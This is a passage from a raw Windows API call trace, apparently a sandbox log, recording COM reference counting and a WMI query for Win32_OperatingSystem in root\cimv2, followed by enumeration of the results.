riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351ee8) returned 0x0 [0282.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0282.487] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0282.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0282.581] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0282.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0282.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0282.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351dc8) returned 0x0 [0282.582] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351dc8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0282.582] WbemLocator:IUnknown:Release (This=0x1b351dc8) returned 0x3 [0282.582] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0282.582] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0282.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351eb0) returned 0x0 [0282.582] WbemLocator:IRpcOptions:Query (in: This=0x1b351eb0, pPrx=0x1b351ee8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0282.582] WbemLocator:IUnknown:Release (This=0x1b351eb0) returned 0x3 [0282.582] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0282.582] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0282.582] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0282.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474600) returned 0x0 [0282.582] WbemLocator:IUnknown:AddRef (This=0x1d474600) returned 0x4 [0282.582] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x3 [0282.583] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x2 [0282.583] SysStringLen (param_1=0x0) returned 0x0 [0282.583] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0282.583] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0282.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351ee8) returned 0x0 [0282.583] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x3 [0282.583] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0282.583] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0282.583] WbemLocator:IUnknown:AddRef (This=0x1d474600) returned 0x3 [0282.583] IWbemServices:ExecQuery (in: This=0x1d474600, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35bd00) returned 0x0 [0282.672] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35bd08) returned 0x0 [0282.672] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0282.672] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0282.672] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b3509c8) returned 0x0 [0282.672] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35bd08) returned 0x0 [0282.672] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0282.769] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0282.769] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0282.769] CoTaskMemFree (pv=0x1d471e60) [0282.769] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b3509c8) returned 0x0 [0282.770] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0282.770] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0282.771] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0282.771] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0282.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0282.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0282.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b3508a8) returned 0x0 [0282.771] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0282.772] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0282.772] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0282.772] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0282.772] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b350990) returned 0x0 [0282.772] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0282.772] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0282.772] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0282.772] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0282.772] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0282.772] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35bd00) returned 0x0 [0282.772] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0282.772] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0282.772] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0282.772] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x2 [0282.772] SysStringLen (param_1=0x0) returned 0x0 [0282.772] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0282.772] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0282.773] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.773] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0282.773] IUnknown:AddRef (This=0x1d35bd00) returned 0x3 [0282.773] IEnumWbemClassObject:Clone (in: This=0x1d35bd00, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c780) returned 0x0 [0282.774] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c788) returned 0x0 [0282.774] IClientSecurity:QueryBlanket (in: This=0x1d35c788, pProxy=0x1d35c780, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0282.774] IUnknown:Release (This=0x1d35c788) returned 0x1 [0282.774] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351868) returned 0x0 [0282.774] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c788) returned 0x0 [0282.774] IClientSecurity:SetBlanket (This=0x1d35c788, pProxy=0x1d35c780, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0282.816] IUnknown:Release (This=0x1d35c788) returned 0x2 [0282.816] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0282.816] CoTaskMemFree (pv=0x1d471b90) [0282.816] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351868) returned 0x0 [0282.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0282.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0282.818] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0282.818] WbemLocator:IUnknown:AddRef (This=0x1b351868) returned 0x3 [0282.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0282.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0282.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351748) returned 0x0 [0282.818] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351748, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0282.819] WbemLocator:IUnknown:Release (This=0x1b351748) returned 0x3 [0282.819] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0282.819] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0282.819] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351830) returned 0x0 [0282.819] WbemLocator:IRpcOptions:Query (in: This=0x1b351830, pPrx=0x1b351868, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0282.819] WbemLocator:IUnknown:Release (This=0x1b351830) returned 0x3 [0282.819] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x2 [0282.819] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0282.819] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0282.819] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c780) returned 0x0 [0282.819] IUnknown:AddRef (This=0x1d35c780) returned 0x4 [0282.819] IUnknown:Release (This=0x1d35c780) returned 0x3 [0282.819] IUnknown:Release (This=0x1d35c780) returned 0x2 [0282.819] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0282.819] SysStringLen (param_1=0x0) returned 0x0 [0282.820] IEnumWbemClassObject:Reset (This=0x1d35c780) returned 0x0 [0282.820] CoTaskMemAlloc (cb=0x8) returned 0x5248c0 [0282.820] IEnumWbemClassObject:Next (in: This=0x1d35c780, lTimeout=-1, uCount=0x1, apObjects=0x5248c0, puReturned=0x2948a40 | out: apObjects=0x5248c0*=0x1b349b20, puReturned=0x2948a40*=0x1) returned 0x0 [0282.830] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0282.830] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0282.830] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0282.831] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0282.831] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0282.831] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0282.831] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0282.831] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0282.831] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0282.831] IUnknown:Release (This=0x1b349b28) returned 0x3 [0282.831] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0282.831] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0282.831] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0282.831] IUnknown:Release (This=0x1b349b20) returned 0x2 [0282.831] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0282.831] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0282.832] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0282.832] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0282.832] IUnknown:Release (This=0x1b349b20) returned 0x3 [0282.832] IUnknown:Release (This=0x1b349b20) returned 0x2 [0282.832] CoTaskMemFree (pv=0x5248c0) [0282.832] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0282.832] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0282.832] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0282.832] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", 